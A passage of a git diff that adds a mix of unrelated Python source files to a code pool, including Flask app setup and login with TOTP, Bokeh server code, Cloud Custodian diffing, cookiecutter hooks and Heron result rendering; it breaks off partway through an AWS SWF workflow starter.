'gal.nh', 0.04) + +fit(ds) +print 'pow.gamma:', get_par(ds, 'pow.gamma.val') +print 'pow.ampl:', get_par(ds, 'pow.ampl.val') + +plot_fit_resid(ds) diff --git a/pool/shard000/Python/0008059_init__.py b/pool/shard000/Python/0008059_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..34b45ac76d2d452b4117081ec06f8edfc28903fd --- /dev/null +++ b/pool/shard000/Python/0008059_init__.py @@ -0,0 +1,71 @@ +from flask import Flask +from database import db +from flask_login import LoginManager +import logging + +from werkzeug.contrib.sessions import FilesystemSessionStore + +from export_to_excel.app import export_app +app = Flask(__name__) +app.register_blueprint(export_app) + +app.secret_key = '\x16\xc8?\xe2j\xce\x13\x89@<\xb52\x17XC\xc8\xa7\xa8\xba\xe1a\xcar:' + +from config import PROD, DEBUG +app.config['DEBUG']=DEBUG + +from config import ECHO, DATABASE_URI, SQLALCHEMY_TRACK_MODIFICATIONS + +app.config['SQLALCHEMY_DATABASE_URI'] = DATABASE_URI +app.config['SQLALCHEMY_ECHO'] = ECHO +app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = SQLALCHEMY_TRACK_MODIFICATIONS + +login_manager = LoginManager() +login_manager.init_app(app) + +login_manager.login_view = 'login' + +try: + from config import AMBIENTE +except ImportError: + AMBIENTE = 'windows' + +from config import UPLOADS_DEFAULT_DEST + +app.config['UPLOADS_DEFAULT_DEST'] = UPLOADS_DEFAULT_DEST +app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024 + +from flask_uploads import configure_uploads +from uploadsets import anexos_upload + +configure_uploads(app, (anexos_upload,)) + +db.init_app(app) + +try: + from config import LOG, LOGPATH +except ImportError: + LOGPATH = 'C:\Temp\logs' + +logger = logging.getLogger() +logger.setLevel(logging.ERROR) + +if LOG: + import logging.handlers + + fh = logging.handlers.RotatingFileHandler(LOGPATH, maxBytes=10 * 1024 * 1024) + fh.setLevel(logging.ERROR) + + ch = logging.StreamHandler() + ch.setLevel(logging.ERROR) + + formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') + ch.setFormatter(formatter) + fh.setFormatter(formatter) + + logger.addHandler(ch) + logger.addHandler(fh) + + logger.info(u'Starting...') + +from cnddh import views, filters diff --git a/pool/shard000/Python/0008063_server.py b/pool/shard000/Python/0008063_server.py new file mode 100644 index 0000000000000000000000000000000000000000..51ea00e1aa727ef938716538b7e422069f929788 --- /dev/null +++ b/pool/shard000/Python/0008063_server.py @@ -0,0 +1,198 @@ +''' Provides a Server which instantiates Application instances as clients connect + +''' +from __future__ import absolute_import, print_function + +import logging +log = logging.getLogger(__name__) + +import sys + +from tornado.httpserver import HTTPServer + +from .tornado import BokehTornado + +from bokeh import __version__ + +from bokeh.application import Application + +from bokeh.resources import DEFAULT_SERVER_PORT + +def _create_hosts_whitelist(host_list, port): + if not host_list: + return ['localhost:' + str(port)] + + hosts = [] + for host in host_list: + parts = host.split(':') + if len(parts) == 1: + if parts[0] == "": + raise ValueError("Empty host value") + hosts.append(host+":80") + elif len(parts) == 2: + try: + int(parts[1]) + except ValueError: + raise ValueError("Invalid port in host value: %s" % host) + if parts[0] == "": + raise ValueError("Empty host value") + hosts.append(host) + else: + raise ValueError("Invalid host value: %s" % host) + return hosts + +class Server(object): + ''' A Server which creates a new Session for each connection, using an Application to initialize each Session. + + Args: + applications (dict of str: bokeh.application.Application) or bokeh.application.Application: + mapping from URL paths to Application instances, or a single Application to put at the root URL + The Application is a factory for Document, with a new Document initialized for each Session. + Each application should be identified by a path meant to go in a URL, like "/" or "/foo" + ''' + + def __init__(self, applications, **kwargs): + log.info("Starting Bokeh server version %s" % __version__) + + if isinstance(applications, Application): + self._applications = { '/' : applications } + else: + self._applications = applications + + tornado_kwargs = { key: kwargs[key] for key in ['io_loop', + 'develop', + 'extra_patterns', + 'secret_key', + 'sign_sessions', + 'generate_session_ids', + 'keep_alive_milliseconds', + 'check_unused_sessions_milliseconds', + 'unused_session_lifetime_milliseconds', + 'stats_log_frequency_milliseconds'] + if key in kwargs } + + prefix = kwargs.get('prefix', None) + if prefix is None: + prefix = "" + prefix = prefix.strip("/") + if prefix: + prefix = "/" + prefix + self._prefix = prefix + + self._port = DEFAULT_SERVER_PORT + if 'port' in kwargs: + self._port = kwargs['port'] + + tornado_kwargs['hosts'] = _create_hosts_whitelist(kwargs.get('host', None), self._port) + tornado_kwargs['extra_websocket_origins'] = _create_hosts_whitelist(kwargs.get('allow_websocket_origin', None), self._port) + + self._tornado = BokehTornado(self._applications, self.prefix, **tornado_kwargs) + self._http = HTTPServer(self._tornado, xheaders=kwargs.get('use_xheaders', False)) + self._address = None + if 'address' in kwargs: + self._address = kwargs['address'] + + # these queue a callback on the ioloop rather than + # doing the operation immediately (I think - havocp) + try: + self._http.bind(self._port, address=self._address) + self._http.start(1) + except OSError as e: + import errno + if e.errno == errno.EADDRINUSE: + log.critical("Cannot start Bokeh server, port %s is already in use", self._port) + elif e.errno == errno.EADDRNOTAVAIL: + log.critical("Cannot start Bokeh server, address '%s' not available", self._address) + else: + codename = errno.errorcode[e.errno] + log.critical("Cannot start Bokeh server, %s %r", codename, e) + sys.exit(1) + + @property + def port(self): + return self._port + + @property + def address(self): + return self._address + + @property + def prefix(self): + return self._prefix + + @property + def io_loop(self): + return self._tornado.io_loop + + def start(self, start_loop=True): + ''' Start the Bokeh Server's IO loop and background tasks. + + Args: + start_loop (boolean, optional): whether to start the IO loop after + starting background tasks (default: True). + + Returns: + None + + Notes: + Keyboard interrupts or sigterm will cause the server to shut down. + + ''' + self._tornado.start(start_loop=start_loop) + + def stop(self): + ''' Stop the Bokeh Server's IO loop. + + Returns: + None + + ''' + self._tornado.stop() + + def unlisten(self): + '''Stop listening on ports (Server will no longer be usable after calling this) + + Returns: + None + ''' + self._http.close_all_connections() + self._http.stop() + + def get_session(self, app_path, session_id): + '''Gets a session by name (session must already exist)''' + + return self._tornado.get_session(app_path, session_id) + + def get_sessions(self, app_path): + '''Gets all live sessions for an application.''' + + return self._tornado.get_sessions(app_path) + + def show(self, app_path, browser=None, new='tab'): + ''' Opens an app in a browser window or tab. + + Useful for testing server applications on your local desktop but + should not call when running bokeh-server on an actual server. + + Args: + app_path (str) : the app path to open + The part of the URL after the hostname:port, with leading slash. + + browser (str, optional) : browser to show with (default: None) + For systems that support it, the **browser** argument allows + specifying which browser to display in, e.g. "safari", "firefox", + "opera", "windows-default" (see the ``webbrowser`` module + documentation in the standard lib for more details). + + new (str, optional) : window or tab (default: "tab") + If ``new`` is 'tab', then opens a new tab. + If ``new`` is 'window', then opens a new window. + + Returns: + None + ''' + if not app_path.startswith("/"): + raise ValueError("app_path must start with a /") + from bokeh.util.browser import view + url = "http://localhost:%d%s%s" % (self.port, self.prefix, app_path) + view(url, browser=browser, new=new) diff --git a/pool/shard000/Python/0008066_revisions.py b/pool/shard000/Python/0008066_revisions.py new file mode 100644 index 0000000000000000000000000000000000000000..31007ddf376df673026949219293a49b368bc2e2 --- /dev/null +++ b/pool/shard000/Python/0008066_revisions.py @@ -0,0 +1,154 @@ +# Copyright 2016-2017 Capital One Services, LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +""" +Custodian support for diffing and patching across multiple versions +of a resource. +""" + +from __future__ import absolute_import, division, print_function, unicode_literals + +import json +import six + +from botocore.exceptions import ClientError +from dateutil.parser import parse as parse_date +from dateutil.tz import tzlocal, tzutc + +from c7n.filters import Filter, FilterValidationError +from c7n.utils import local_session, type_schema, camelResource + + +ErrNotFound = "ResourceNotDiscoveredException" + +UTC = tzutc() + + +class Diff(Filter): + """Compute the diff from the current resource to a previous version. + + A resource matches the filter if a diff exists between the current + resource and the selected revision. + + Utilizes config as a resource revision database. + + Revisions can be selected by date, against the previous version, and + against a locked version (requires use of is-locked filter). + """ + + schema = type_schema( + 'diff', + selector={'enum': ['previous', 'date', 'locked']}, + # For date selectors allow value specification + selector_value={'type': 'string'}) + + permissions = ('config:GetResourceConfigHistory',) + + selector_value = mode = parser = resource_shape = None + + def validate(self): + if 'selector' in self.data and self.data['selector'] == 'date': + if 'selector_value' not in self.data: + raise FilterValidationError( + "Date version selector requires specification of date") + try: + parse_date(self.data['selector_value']) + except ValueError: + raise FilterValidationError( + "Invalid date for selector_value") + + elif 'selector' in self.data and self.data['selector'] == 'locked': + idx = self.manager.data['filters'].index(self.data) + found = False + for n in self.manager.data['filters'][:idx]: + if isinstance(n, dict) and n.get('type', '') == 'locked': + found = True + if isinstance(n, six.string_types) and n == 'locked': + found = True + if not found: + raise FilterValidationError( + "locked selector needs previous use of is-locked filter") + return self + + def process(self, resources, event=None): + session = local_session(self.manager.session_factory) + config = session.client('config') + self.model = self.manager.get_model() + + results = [] + for r in resources: + revisions = self.get_revisions(config, r) + r['c7n:previous-revision'] = rev = self.select_revision(revisions) + if not rev: + continue + delta = self.diff(rev['resource'], r) + if delta: + r['c7n:diff'] = delta + results.append(r) + return results + + def get_revisions(self, config, resource): + params = dict( + resourceType=self.model.config_type, + resourceId=resource[self.model.id]) + params.update(self.get_selector_params(resource)) + try: + revisions = config.get_resource_config_history( + **params)['configurationItems'] + except ClientError as e: + if e.response['Error']['Code'] == 'ResourceNotDiscoveredException': + return [] + if e.response['Error']['Code'] != ErrNotFound: + self.log.debug( + "config - resource %s:%s not found" % ( + self.model.config_type, resource[self.model.id])) + revisions = [] + raise + return revisions + + def get_selector_params(self, resource): + params = {} + selector = self.data.get('selector', 'previous') + if selector == 'date': + if not self.selector_value: + self.selector_value = parse_date( + self.data.get('selector_value')) + params['laterTime'] = self.selector_value + params['limit'] = 3 + elif selector == 'previous': + params['limit'] = 2 + elif selector == 'locked': + params['laterTime'] = resource.get('c7n:locked_date') + params['limit'] = 2 + return params + + def select_revision(self, revisions): + for rev in revisions: + # convert unix timestamp to utc to be normalized with other dates + if rev['configurationItemCaptureTime'].tzinfo and \ + isinstance(rev['configurationItemCaptureTime'].tzinfo, tzlocal): + rev['configurationItemCaptureTime'] = rev[ + 'configurationItemCaptureTime'].astimezone(UTC) + return { + 'date': rev['configurationItemCaptureTime'], + 'version_id': rev['configurationStateId'], + 'events': rev['relatedEvents'], + 'resource': self.transform_revision(rev)} + + def transform_revision(self, revision): + """make config revision look like describe output.""" + config = self.manager.get_source('config') + return config.augment([camelResource(json.loads(revision['configuration']))])[0] + + def diff(self, source, target): + raise NotImplementedError("Subclass responsibility") diff --git a/pool/shard000/Python/0008075_ruleFile_class.py b/pool/shard000/Python/0008075_ruleFile_class.py new file mode 100644 index 0000000000000000000000000000000000000000..88f32425205be32f1b55c7c217c6c431e4cc0edb --- /dev/null +++ b/pool/shard000/Python/0008075_ruleFile_class.py @@ -0,0 +1,96 @@ +##!/usr/bin/python2.7 +#coding:utf-8 + +import os +import traceback + +from pprint import pprint +from dummy import BASEDIR, LIBDIR + +# ---------------------------------------------------------------------------------------------------- +# +# ---------------------------------------------------------------------------------------------------- +class RuleFile(object): + """docstring for RuleFile""" + def __init__(self, rulefile, ruleargs): + super(RuleFile, self).__init__() + self.file = rulefile + self.args = ruleargs + self.ret = [] + + def _repeatOnece(self,rulelines): + ret = [] + for eachtmp in rulelines: + if eachtmp.find('%') == -1: + ret.append(eachtmp) + continue + #flag = False + for eacharg in self.args.keys(): + if eachtmp.find('%'+eacharg+'%') != -1: + #print 'eacharg=\t',eacharg + if type(self.args[eacharg]) == str: + eachtmp = eachtmp.replace('%'+eacharg+'%',self.args[eacharg]) + ret.append(eachtmp) + + elif type(self.args[eacharg]) == list: + for eachcom in self.args[eacharg]: + #print 'eachcom=\t',eachcom + tt = eachtmp.replace('%'+eacharg+'%',eachcom) + ret.append(tt) + #flag = True + break + + # if len(ret) == 0: + # return rulelines + return ret + + def _getRules(self): + ''' ''' + try: + fp = open(self.file,'r') + for eachline in fp: + if eachline == os.linesep: + continue + if eachline[0] == '#': + continue + tmp = eachline.replace('\r','') + tmp = tmp.replace('\n','') + # tmp = eachline.replace(os.linesep,'') + # print 'eachline=\t',tmp + + if tmp.find('%') == -1: + self.ret.append(tmp) + continue + + rulelines = [tmp] + #print 'rulelines=\t',rulelines + flag = True + while flag: + newrulelines = self._repeatOnece(rulelines) + # print 'oldrulelines=\t',rulelines + # print 'newrulelines=\t',newrulelines + # if newrulelines == rulelines: + # break + flag = False + for eachline in newrulelines: + if eachline.find('%') != -1: + flag = True + + rulelines = newrulelines + + self.ret += rulelines + + fp.close() + + except Exception,e: + print 'Exception',e + print traceback.format_exc() +# ---------------------------------------------------------------------------------------------------- +# +# ---------------------------------------------------------------------------------------------------- +if __name__=='__main__': + rulefile = LIBDIR + '/db/compresed_file.rule' + ruleargs = {'host':'www.eguan.cn','com':['com1','com2']} + rf = RuleFile(rulefile,ruleargs) + rf._getRules() + pprint(rf.ret) \ No newline at end of file diff --git a/pool/shard000/Python/0008079_login.py b/pool/shard000/Python/0008079_login.py new file mode 100644 index 0000000000000000000000000000000000000000..e54ee1abe36ee8d0dc79a9cd65e8b62c2f6e2f51 --- /dev/null +++ b/pool/shard000/Python/0008079_login.py @@ -0,0 +1,58 @@ +# -*- coding: utf-8 -*- + +from muMDAU_app import app +from flask import Blueprint, session, redirect, url_for, request, render_template +import hashlib +from dbmongo import User +login = Blueprint('login', __name__) +@login.route('', methods=['GET', 'POST']) +def dologin(): + if request.method == 'POST': + user = request.form['buser'] + passd = request.form['bpass'] + + password = User.login(user) + + if not password: + return '帳號錯誤' + else: + hashsha = hashlib.sha256(passd.replace('\n', '').encode()) + if password == hashsha.hexdigest(): + session['username'] = user + session['admgrp'] = User.findgrp(str(user)) + return redirect(url_for('login.ologin')) + else: + return '密碼錯誤' + + else: + return redirect(url_for('admin.login')) + +@login.route('/otp', methods=['GET', 'POST']) +def ologin(): + if request.method == 'GET': + if 'otpusername' not in session and 'username'in session : + if User.otpchk(str(session['username'])) == "0": + print("hellop") + import pyotp + key = pyotp.random_base32() + totp = pyotp.TOTP(key) + optsct = totp.provisioning_uri(session['username']) + User.optnew(str(session['username']),optsct,key) + return render_template('admin/otpset.html',otpurl=str(User.otpchk(str(session['username'])))) + else: + return render_template('admin/otplogin.html',name=str(session['username'])) + else: + return redirect(url_for('admin.index')) + + else: + if 'username' in session: + import pyotp + passd = request.form['otppass'] + otpkey = User.otpkeychk(str(session['username'])) + totp = pyotp.TOTP(otpkey) + if totp.verify(passd) is True: + session['otpusername'] = str(session['username'])+str(passd) + return redirect(url_for('admin.index')) + else: + return redirect(url_for('login.ologin')) + diff --git a/pool/shard000/Python/0008082_TKTIME.py b/pool/shard000/Python/0008082_TKTIME.py new file mode 100644 index 0000000000000000000000000000000000000000..e8ebfdffc1d14e2e800685cd42222f416977f922 --- /dev/null +++ b/pool/shard000/Python/0008082_TKTIME.py @@ -0,0 +1,14 @@ +import tkinter +import time + +def update_the_label(): + updated_text = time.strftime("The GM time now is %H:%M:%S.", time.gmtime()) + w.configure(text = updated_text) + +root = tkinter.Tk() +w = tkinter.Label(root, text = "Hello, world!") +b = tkinter.Button(root, text = "Update the label", command = update_the_label) +w.pack() +b.pack() + +root.mainloop() diff --git a/pool/shard000/Python/0008084_plot_tsne.py b/pool/shard000/Python/0008084_plot_tsne.py new file mode 100644 index 0000000000000000000000000000000000000000..3ae68792b3d9891e51494cbcc7d3d744434db7e5 --- /dev/null +++ b/pool/shard000/Python/0008084_plot_tsne.py @@ -0,0 +1,132 @@ +from tsne import bh_sne +import numpy as np +from skimage.transform import resize +from sklearn.manifold import TSNE + +from matplotlib import pyplot as plt +from matplotlib.offsetbox import AnnotationBbox, OffsetImage +import matplotlib.image as mpimg + +import warnings +warnings.filterwarnings("ignore") + +def gray_to_color(img): + if len(img.shape) == 2: + img = np.dstack((img, img, img)) + return img + +def min_resize(img, size): + """ + Resize an image so that it is size along the minimum spatial dimension. + """ + w, h = map(float, img.shape[:2]) + if min([w, h]) != size: + if w <= h: + img = resize(img, (int(round((h/w)*size)), int(size))) + else: + img = resize(img, (int(size), int(round((w/h)*size)))) + return img + +def fit(features): + features = np.copy(features).astype('float64') + model = TSNE(n_components=2, n_iter=1000, perplexity=10.0) + f2d = model.fit_transform(features) + return f2d + +def image_scatter(features, images, img_res, filenames, res=15000, cval=1.): + """ + Embeds images via tsne into a scatter plot. + + Parameters + --------- + features: numpy array + Features to visualize + + images: list or numpy array + Corresponding images to features. Expects float images from (0,1). + + img_res: float or int + Resolution to embed images at + + res: float or int + Size of embedding image in pixels + + cval: float or numpy array + Background color value + + Returns + ------ + canvas: numpy array + Image of visualization + """ + f2d = fit(features) + images = [gray_to_color(image) for image in images] + images = [min_resize(image, img_res) for image in images] + max_width = max([image.shape[0] for image in images]) + max_height = max([image.shape[1] for image in images]) + + xx = f2d[:, 0] + yy = f2d[:, 1] + x_min, x_max = xx.min(), xx.max() + y_min, y_max = yy.min(), yy.max() + # Fix the ratios + sx = (x_max-x_min) + sy = (y_max-y_min) + if sx > sy: + res_x = sx/float(sy)*res + res_y = res + else: + res_x = res + res_y = sy/float(sx)*res + + canvas = np.ones((res_x+max_width, res_y+max_height, 3))*cval + x_coords = np.linspace(x_min, x_max, res_x) + y_coords = np.linspace(y_min, y_max, res_y) + for x, y, image, name in zip(xx, yy, images, filenames): + w, h = image.shape[:2] + x_idx = np.argmin((x - x_coords)**2) + y_idx = np.argmin((y - y_coords)**2) + if name.endswith("8238.jpg"): + print("%s is at (%d, %d)" % (name, y_idx, x_idx)) + canvas[x_idx:x_idx+w, y_idx:y_idx+h] = image + plt.figure(figsize=(10,8)) + plt.imshow(canvas) + plt.show() + raw_input() + +def ab_plotter(xcoords, ycoords, images, labels): + + ax = plt.subplot(111) + ax.set_xlim([-30, 30]) + ax.set_ylim([-30, 30]) + + for x, y, i, l in zip(xcoords, ycoords, images, labels): + arr_hand = i + imagebox = OffsetImage(arr_hand, zoom=.1) + xy = [x, y] # coordinates to position this image + + ab = AnnotationBbox(imagebox, xy, + xybox=(10., -10.), + xycoords='data', + boxcoords="offset points", + pad=0.0) + ax.annotate(ab, xy = xy) + + # rest is just standard matplotlib boilerplate + ax.grid(True) + plt.show() + +if __name__ == "__main__": + x_data = np.loadtxt("eng256-initial_hidden_features", delimiter=",") + #x_data = np.loadtxt("eng256-ger256-multilingual_initial_hidden_features", delimiter=",") + y_data = np.loadtxt("val_images", dtype=str) + y_data = [x.replace("\n","") for x in y_data] + images = [] + for y in y_data: + images.append(mpimg.imread(y)) + canvas_mono = image_scatter(x_data, images, 200, y_data, res=15000) + #canvas_multi = image_scatter(x_data2, images, 100, y_data) + + #coords = fit(x_data) + #ab_plotter(coords[:,0], coords[:,1], images, y_data) + diff --git a/pool/shard000/Python/0008085_start_murmeli.py b/pool/shard000/Python/0008085_start_murmeli.py new file mode 100644 index 0000000000000000000000000000000000000000..be346c6c912a5cb18458e54a60712523509369e4 --- /dev/null +++ b/pool/shard000/Python/0008085_start_murmeli.py @@ -0,0 +1,120 @@ +'''Start script for Murmeli + Copyright activityworkshop.net and released under the GPL v2.''' + +import os +import sys +import pkg_resources as pkgs + +try: + from PyQt5 import QtCore + from PyQt5.QtWidgets import QApplication +except ImportError: + print("ERROR: Can't find PyQt. Please install both Qt and PyQt.") + print(" On linux you may be able to install a package called 'python3-pyqt5'") + print(" together with the package 'python3-pyqt5.qtwebengine'.") + print(" If you don't need a gui, you can run setup_murmeli for a headless system.") +from murmeli.system import System +from murmeli.config import Config +from murmeli.i18n import I18nManager +from murmeli.supersimpledb import MurmeliDb +from murmeli.mainwindow import MainWindow +from murmeli.startupwizard import StartupWizard + + +def check_dependencies(): + '''Check whether all required software is installed''' + # Check python + python_version = (sys.version_info.major, sys.version_info.minor, + sys.version_info.micro) + print("Python verson: %d.%d.%d" % python_version) + if python_version < (3, 5): + print("Murmeli needs at least version 3.5 to run. Ending.") + return False + + # Try to import python-gnupg, just to see if it's there + try: + from gnupg import GPG + if GPG.verify: + print("Found GnuPG") + except ImportError: + print("Murmeli needs python-gnupg to run. Ending.") + return False + try: + print("Found GnuPG version: %s" % pkgs.get_distribution("python-gnupg").version) + except Exception: + print("Could not find GnuPG version") + + # Check Qt5 + try: + print("Found PyQt5, using Qt:", QtCore.QT_VERSION_STR) + except TypeError: + print("Cannot find version of PyQt5") + return False + # Everything ok + return True + + +def create_system(): + '''Create the bare system and load the config''' + system = System() + i18n = I18nManager(system) + system.add_component(i18n) + config = Config(system) + system.add_component(config) + config.load() + i18n.set_language() + if config.from_file: + return system + return None + + +def check_profile(system): + '''Given a bare system, check that the profile can be found''' + if not system: + return False + db_file_path = system.invoke_call(System.COMPNAME_CONFIG, "get_ss_database_file") + if os.path.exists(db_file_path): + database = MurmeliDb(system, db_file_path) + system.add_component(database) + own_profile = None + try: + own_profile = database.get_profile() + if own_profile and own_profile.get("keyid", None): + print("I got a profile and keyid: '%s' so I can start Murmeli" + % own_profile.get("keyid", "")) + except Exception as exc: + print("Exception thrown trying to get profile, so I can't start Murmeli:", exc) + if own_profile: + return True + else: + # Close database, ready for the startup wizard + system.remove_component(System.COMPNAME_DATABASE) + database = None + return False + + +def launch_gui(system): + '''Launch either the startup wizard or the real gui''' + win = None + # Now start either the wizard or the main gui + if check_profile(system): + # Skip wizard, launch actual GUI (and pass half-built system) + print("Launch real GUI") + win = MainWindow(system) + else: + # launch wizard (and pass half-built system) + print("Can't launch gui, launch startup wizard instead") + win = StartupWizard(system) + return win + + +if __name__ == "__main__": + if check_dependencies(): + SYSTEM = create_system() + APP = QApplication([]) + WIN = launch_gui(SYSTEM) + if WIN: + WIN.show() + APP.exec_() + # Window has closed, stop the system + WIN.finish() diff --git a/pool/shard000/Python/0008093_hooks.py b/pool/shard000/Python/0008093_hooks.py new file mode 100644 index 0000000000000000000000000000000000000000..e9ab074a67a584cce96170f993a06b77af01aaf5 --- /dev/null +++ b/pool/shard000/Python/0008093_hooks.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +cookiecutter.hooks +------------------ + +Functions for discovering and executing various cookiecutter hooks. +""" + +import logging +import os +import subprocess +import sys + +from .utils import make_sure_path_exists, unicode_open, work_in + +_HOOKS = [ + 'pre_gen_project', + 'post_gen_project', + # TODO: other hooks should be listed here +] + +def find_hooks(): + ''' + Must be called with the project template as the current working directory. + Returns a dict of all hook scripts provided. + Dict's key will be the hook/script's name, without extension, while + values will be the absolute path to the script. + Missing scripts will not be included in the returned dict. + ''' + hooks_dir = 'hooks' + r = {} + logging.debug("hooks_dir is {0}".format(hooks_dir)) + if not os.path.isdir(hooks_dir): + logging.debug("No hooks/ dir in template_dir") + return r + for f in os.listdir(hooks_dir): + basename = os.path.splitext(os.path.basename(f))[0] + if basename in _HOOKS: + r[basename] = os.path.abspath(os.path.join(hooks_dir, f)) + return r + + +def _run_hook(script_path, cwd='.'): + ''' + Run a sigle external script located at `script_path` (path should be + absolute). + If `cwd` is provided, the script will be run from that directory. + ''' + run_thru_shell = sys.platform.startswith('win') + if script_path.endswith('.py'): + script_command = [sys.executable, script_path] + else: + script_command = [script_path] + proc = subprocess.Popen( + script_command, + shell=run_thru_shell, + cwd=cwd + ) + proc.wait() + +def run_hook(hook_name, project_dir): + ''' + Try and find a script mapped to `hook_name` in the current working directory, + and execute it from `project_dir`. + ''' + script = find_hooks().get(hook_name) + if script is None: + logging.debug("No hooks found") + return + return _run_hook(script, project_dir) diff --git a/pool/shard000/Python/0008103_result.py b/pool/shard000/Python/0008103_result.py new file mode 100644 index 0000000000000000000000000000000000000000..6c6e66967b616c34ef13adf19c6ff5ebcd06515f --- /dev/null +++ b/pool/shard000/Python/0008103_result.py @@ -0,0 +1,195 @@ +# Copyright 2016 Twitter. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +'''result.py''' +import abc +import sys +from enum import Enum + +from heron.common.src.python.utils.log import Log + +# Meaning of exit status code: +# - status code = 0: +# program exits without error +# - 0 < status code < 100: +# program fails to execute before program execution. For example, +# JVM cannot find or load main class +# - 100 <= status code < 200: +# program fails to launch after program execution. For example, +# topology definition file fails to be loaded +# - status code == 200: +# program sends out dry-run response + +# Definition corresponds to definition in com.twitter.heron.scheduler.AbstractMain + +# pylint: disable=no-init +class Status(Enum): + """Status code enum""" + Ok = 0 + InvocationError = 1 + HeronError = 100 + DryRun = 200 + +def status_type(status_code): + if status_code == 0: + return Status.Ok + elif status_code < 100: + return Status.InvocationError + elif status_code == 200: + return Status.DryRun + else: + return Status.HeronError + +class Result(object): + """Result class""" + def __init__(self, status=None, err_context=None, succ_context=None): + self.status = status + self.err_context = err_context + self.succ_context = succ_context + + @staticmethod + def _do_log(log_f, msg): + if msg: + if msg[-1] == '\n': + msg = msg[:-1] + log_f(msg) + + @staticmethod + def _do_print(f, msg): + if msg: + if msg[-1] == '\n': + msg = msg[:-1] + print >> f, msg + + def _log_context(self): + # render context only after process exits + assert self.status is not None + if self.status in [Status.Ok, Status.DryRun]: + self._do_log(Log.info, self.succ_context) + elif self.status in [Status.HeronError, Status.InvocationError]: + self._do_log(Log.error, self.err_context) + else: + raise RuntimeError( + "Unknown status type of value %d. Expected value: %s", self.status.value, list(Status)) + + def add_context(self, err_context, succ_context=None): + """ Prepend msg to add some context information + + :param pmsg: context info + :return: None + """ + self.err_context = err_context + self.succ_context = succ_context + + def is_successful(self): + return self.status == Status.Ok + + @abc.abstractmethod + def render(self): + pass + + +class SimpleResult(Result): + """Simple result: result that already and only + contains status of the result""" + def __init__(self, *args): + super(SimpleResult, self).__init__(*args) + + def render(self): + self._log_context() + + +class ProcessResult(Result): + """Process result: a wrapper of result class""" + def __init__(self, proc): + super(ProcessResult, self).__init__() + self.proc = proc + + def renderProcessStdErr(self, stderr_line): + """ render stderr of shelled-out process + stderr could be error message of failure of invoking process or + normal stderr output from successfully shelled-out process. + In the first case, ``Popen'' should fail fast and we should be able to + get return code immediately. We then render the failure message. + In the second case, we simply print stderr line in stderr. + The way to handle the first case is shaky but should be the best we can + do since we have conflicts of design goals here. + :param stderr_line: one line from shelled-out process + :return: + """ + retcode = self.proc.poll() + if retcode is not None and status_type(retcode) == Status.InvocationError: + self._do_log(Log.error, stderr_line) + else: + self._do_print(sys.stderr, stderr_line) + + def renderProcessStdOut(self, stdout): + """ render stdout of shelled-out process + stdout always contains information Java process wants to + propagate back to cli, so we do special rendering here + :param stdout: all lines from shelled-out process + :return: + """ + # since we render stdout line based on Java process return code, + # ``status'' has to be already set + assert self.status is not None + # remove pending newline + if self.status == Status.Ok: + self._do_log(Log.info, stdout) + elif self.status == Status.HeronError: + # remove last newline since logging will append newline + self._do_log(Log.error, stdout) + # No need to prefix [INFO] here. We want to display dry-run response in a clean way + elif self.status == Status.DryRun: + self._do_print(sys.stdout, stdout) + elif self.status == Status.InvocationError: + self._do_print(sys.stdout, stdout) + else: + raise RuntimeError( + "Unknown status type of value %d. Expected value: %s" % \ + (self.status.value, list(Status))) + + def render(self): + while True: + stderr_line = self.proc.stderr.readline() + if not stderr_line: + if self.proc.poll() is None: + continue + else: + break + else: + self.renderProcessStdErr(stderr_line) + self.proc.wait() + self.status = status_type(self.proc.returncode) + stdout = "".join(self.proc.stdout.readlines()) + self.renderProcessStdOut(stdout) + self._log_context() + + +def render(results): + if isinstance(results, Result): + results.render() + elif isinstance(results, list): + for r in results: + r.render() + else: + raise RuntimeError("Unknown result instance: %s", str(results.__class__)) + +# check if all results are successful +def isAllSuccessful(results): + if isinstance(results, list): + return all([result.is_successful() for result in results]) + elif isinstance(results, Result): + return results.is_successful() + else: + raise RuntimeError("Unknown result instance: %s", str(results.__class__)) diff --git a/pool/shard000/Python/0008106_starter_Sum.py b/pool/shard000/Python/0008106_starter_Sum.py new file mode 100644 index 0000000000000000000000000000000000000000..57332514ad308fa72573b1cc4d9e173bc0022dcd --- /dev/null +++ b/pool/shard000/Python/0008106_starter_Sum.py @@ -0,0 +1,82 @@ +import os +# Add parent directory for imports +parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +os.sys.path.insert(0, parentdir) + +import boto.swf +import log +import json +import random +from optparse import OptionParser + +""" +Amazon SWF Sum workflow starter +""" + +class starter_Sum(): + + def start(self, settings, workflow="Sum"): + # Log + identity = "starter_%s" % int(random.random() * 1000) + logFile = "starter.log" + #logFile = None + logger = log.logger(logFile, settings.setLevel, identity) + + # Simple connect + conn = boto.swf.layer1.Layer1(settings.aws_access_key_id, settings.aws_secret_access_key) + if workflow: + (workflow_id, workflow_name, workflow_version, child_policy, + execution_start_to_close_timeout, input) = self.get_workflow_params(workflow) + + logger.info('Starting workflow: %s' % workflow_id) + try: + response = conn.start_workflow_execution(settings.domain, workflow_id, + workflow_name, workflow_version, + settings.default_task_list, child_policy, + execution_start_to_close_timeout, input) + + logger.info('got response: \n%s' % json.dumps(response, sort_keys=True, indent=4)) + + except boto.swf.exceptions.SWFWorkflowExecutionAlreadyStartedError: + # There is already a running workflow with that ID, cannot start another + message = ('SWFWorkflowExecutionAlreadyStartedError: There is already ' + + 'a running workflow with ID %s' % workflow_id) + print message + logger.info(message) + + def 